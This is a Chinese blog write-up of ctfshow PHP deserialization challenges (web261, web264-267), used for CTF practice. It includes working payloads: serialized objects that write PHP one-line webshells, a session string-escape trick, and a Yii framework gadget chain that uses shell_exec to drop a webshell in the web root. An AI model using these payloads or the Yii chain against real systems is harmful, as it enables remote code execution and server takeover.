[ctfshow]web入门——反序列化（web261+web264-web267）

[ctfshow]web入门——反序列化

ctfshow ：https://ctf.show/challenges#web261-721
群主的视频wp ：https://www.bilibili.com/video/BV1D64y1m78f

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反序列化 unserialization

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){	//因为有__unserialize魔术方法，wakeup被绕过了
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){	//invoke调用不到，eval没法利用
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

$this->code==0x36d是弱类型比较，0x36d没有引号代表数字，十六进制0x36d转为十进制是877
我们只要让a=877.php，b为一句话木马即可

<?php
class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u='877.php',$p='<?php eval($_POST[a]);?>'){
        $this->username=$u;
        $this->password=$p;
    }

}
echo urlencode(serialize(new ctfshowvip()))
?>

payload

O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php %22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

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成功写入，连接即可
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web264

str_replace字符串覆盖逃逸

<?php
@message.php

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));	//session中取message
    if($msg->token=='admin'){
        echo $flag;
    }
}

我们需要$token='admin';经过序列化是这样的s:5:"token";s:5:"admin";，加上闭合";s:5:"token";s:5:"admin";}一共27个字符，每次替换增加一个字符，需要27个fuck吃掉构造函数的$token='user';

payload：
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

之后在访问message.php，加上cookie即可

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web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

要让$this->token===$this->password，token的值我们不知道，可以用引用类型$this->password = &$this->token;

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t='',$p=''){
        $this->token=$t;
        $this->password = &$this->token;
    }
}
echo serialize(new ctfshowAdmin())
?>

payload

O:12:"ctfshowAdmin":2:{s:5:"token";s:0:"";s:8:"password";R:2;}

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web266

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

$cs = file_get_contents('php://input'); post传参即可

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}
echo serialize(new ctfshow())
?>

因为if(preg_match('/ctfshow/', $cs)){，而序列化时候大小写不敏感，所以改成cTfshow
payload

 O:7:"cTfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

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web267

yii系列

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源码可以看出是yii框架
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admin/admin登陆
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about界面源码中多了一个注释<!--?view-source -->
get传数据/index.php?r=site%2Fabout&view-source
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///backdoor/shell
unserialize(base64_decode($_GET['code']))

找个yii利用链

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

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system无回显，利用dnslog，命令执行
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得到web目录/var/www/html/basic/web
然后写shell，折磨死我了，改了好多遍
注意$要转义，system用不了要换执行的函数

namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = "echo '<?php eval(\$_POST[g]);?>' > /var/www/html/basic/web/3.php";
        }
    }
}

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本文来自csdn的⭐️shu天⭐️，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(＠ ˘ω˘ ＠)ノ！！